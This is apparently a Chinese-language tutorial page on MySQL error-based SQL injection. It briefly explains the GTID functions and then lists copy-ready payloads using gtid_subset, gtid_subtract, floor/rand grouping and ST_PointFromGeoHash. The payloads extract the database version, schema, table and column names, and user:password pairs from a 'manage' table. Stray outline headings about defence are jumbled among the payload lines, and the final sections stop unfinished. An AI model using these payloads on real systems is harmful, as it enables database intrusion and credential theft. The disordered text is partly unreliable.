    GTID是MySQL数据库每次提交事务后生成的一个全局事务标识符,GTID不仅在本服务器上是唯一的,其在复制拓扑中也是唯一的

    GTID_SUBSET() 和 GTID_SUBTRACT()函数

    0X02 函数详解

    GTID_SUBSET() 和 GTID_SUBTRACT() 函数,我们知道他的输入值是 GTIDset ,当输入有误时,就会报错

    GTID_SUBSET( set1 , set2 ) – 若在 set1 中的 GTID,也在 set2 中,返回 true,否则返回 false ( set1 是 set2 的子集) GTID_SUBTRACT( set1 , set2 ) – 返回在 set1 中,不在 set2 中的 GTID 集合 ( set1 与 set2 的差集)

    0x03 注入过程( payload )

    GTID_SUBSET函数
    ​') or gtid_subset(concat(0x7e,(SELECT GROUP_CONCAT(user,':',password) from manage),0x7e),1)--+


    GTID_SUBTRACT

    ') or gtid_subtract(concat(0x7e,(SELECT GROUP_CONCAT(user,':',password) from manage),0x7e),1)--+

    函数都是那样,只是适用的版本不同

    4.floor(8.x>mysql>5.0)

    获取数据库版本信息

    ')or (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

    #获取当前数据库

    ')or (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

    #获取表数据

    ')or (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema='test' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

    #获取users表里的段名

    ')or (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_name = 'users' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

    5.ST_Pointfromgeohash (mysql>=5.7)

    获取数据库版本信息

    ')or ST_PointFromGeoHash(version(),1)--+

    获取表数据

    sql注入原因

    sql注入分类

    sql注入绕过 一部分

    sql注入防御 waf防御 过滤函数来防御 pdo

    ')or ST_PointFromGeoHash((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)--+

    获取users表里的段名

    ')or ST_PointFromGeoHash((select column_name from information_schema.columns where table_name = 'manage' limit 0,1),1)--+

    获取字段里面的数据

    ')or  ST_PointFromGeoHash((concat(0x23,(select group_concat(user,':',`password`) from manage),0x23)),1)--+

    6 updatexml

    updatexml(1,1,1) 一共可以接收三个参数,报错位置在第二个参数

    7 extractvalue

    extractvalue(1,1) 一共可以接收两个参数,报错位置在第二个参数